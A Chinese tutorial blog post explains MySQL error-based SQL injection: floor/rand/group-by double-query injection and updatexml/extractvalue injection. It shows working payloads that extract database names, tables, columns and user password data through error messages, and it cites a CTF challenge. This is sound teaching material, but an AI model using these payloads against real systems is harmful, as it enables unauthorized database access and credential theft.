双查询注入

在这里插入图片描述

Floor()

在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:
select concat((select database()));

CONCAT函数用于连接两个字符串,形成一个字符串。CONCAT(字串1, 字串2, 字串3, …): 将字串1、字串2、字串3,等字串连在一起。
来看几个例子。假设我们有以下的表格:在这里插入图片描述
SELECT CONCAT(region_name,store_name) FROM Geography
WHERE store_name = ‘Boston’;
结果:
‘EastBoston’

真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,‘b’)那结果就是ab了。

原理:
双注入查询需要理解四个函数/语句

  1. Rand() //随机函数,用于产生 0 至 1 之间的随机数
  2. Floor() //取整函数,向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1
  3. Count() //汇总函数
  4. Group by clause //分组语句
    简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用 Group by 分组语句就会把查询的一部分以错误的形式显示出来

以本地一个名为Security的数据库为例
连接上数据库,然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。

然后我们执行一下前面那个简单的子查询的例子
SELECT concat((select database()));
就能显示security,也就是显示了当前数据库的名字了。
在这里插入图片描述
然后我们测试一下concat的用法。输入
SELECT concat('string1','string2');
显然结果就是string1string2了
在这里插入图片描述
然后我们测试一下rand()这个随机函数是干嘛的
Select rand();
我们多执行几次
在这里插入图片描述
可以看到,这个函数就是返回大于0,小于1之间的数
然后看看取整函数
Select floor(1.1123456);
这个函数就是返回小于等于你输入的数的整数。

然后我们看看双注入查询中的一个简单组合。有一个子查询是:
SELECT floor(rand()*2);
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了大于0小于2了。然后对结果进行取整。就只能是0或1了。也就是这个查询的结果不是0,就是1。

我们稍微加大一点难度。看这个查询:
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1。然后把这两个的结果进行concat连接,那么结果不是security0就是security1了
在这里插入图片描述
如果我们把这条语句后面加上 from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。 比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
在这里插入图片描述
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有六个数据库。所以会返回六个结果
在这里插入图片描述
现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns 这两个表来查询。因为表里面一般数据很多,容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。

select concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
这里我先解释一下。
我们把concat((select database()), floor(rand()2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。
在这里插入图片描述
注意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
如查表:
在这里插入图片描述
最后的亮点来了。。
我们输入这条:注意多了一个聚合函数
count(*)*
select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
第一次:

mysql> select count(*),concat((select database()),floor(rand()*2)) as a from
information_schema.tables group by a;
+----------+-----------+
| count(*) | test      |
+----------+-----------+
|       33 | security0 |
|       49 | security1 |
+----------+-----------+
2 rows in set (0.00 sec)

报错了:
在这里插入图片描述
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'
最后的报错是最重要的地方!重复的键值。
可以看到security就是我们的查询结果了,我们get到数据了。

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
那么为什么键值会重复呢,就是因为concat函数执行了两次,因为concat是连接两个随机字符串,当第二次执行的时候,有可能会出现与第一次键值重复的情况!那么这种情况下,就会报错!
也就是:
使用聚合函数,group by子句,并利用随机函数产生错误运行时,由于涉及的 随机函数 和 聚合函数 计算;当在一个聚合函数,比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来;因为concat函数执行两次,比如select database(),这样就执行了两次select database,与后面的随机函数链接在一起,可能会随机重复,就会报错;

想要查询版本就这样:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
看看替换了database()为version()
在这里插入图片描述
再看一个
select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a;
报错:
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'
这里的~这个符号只是为了让结果更清晰。

深层次的原因:
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!

updatexml()、extractvalue()

还可以利用updatexml()、extractvalue()来报错。(原理各不相同,但是思路均是认为构造数据库的错误)
①通过updatexml函数,执行SQL语句
select * from message where id = 1 and updatexml (1, (concat (0x7C, (select @@version))) ,1);
显示结果如下:
ERROR 1105 (HY000): XPATH syntax error: ’ 15.1.50-community-1og’

②通过extractvalue函数,执行SQL语句
select * from message where id= 1 and extractvalue (1, concat (0x7C, (select user()));
显示结果如下:
ERROR 1105 (HY000): XPATH syntax error: ’ I root@localhost’
实例:[极客大挑战 2019]HardSQL

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML(),因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

updatexml注入
首先了解下updatexml()函数,作用是改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库
select updatexml(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'),2);
爆表
select updatexml(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'|'),2);
爆字段
select updatexml(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'),2);
爆数据
select updatexml(2,concat('|',(select concat(name,'|',passwd) from user.users limit 2,1 ),'|'),2);
ps: 通过修改limit的值 0,1 - 1,1 - 2,1 可以逐个的读取数据

类似的:
extractvalue()函数报错注入
暴库
select extractvalue(2,concat('|',(select schema_name from information_schema.schemata limit 4,1),'|'));
爆表
select extractvalue(2,concat('|',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'|'));
爆字段
select extractvalue(2,concat('|',(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),'|'));
爆数据
select extractvalue(2,concat('|',(select concat(name,’|’,passwd) from user.users limit 2,1 ),'|'));
注意extractvalue()函数就只有两个参数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值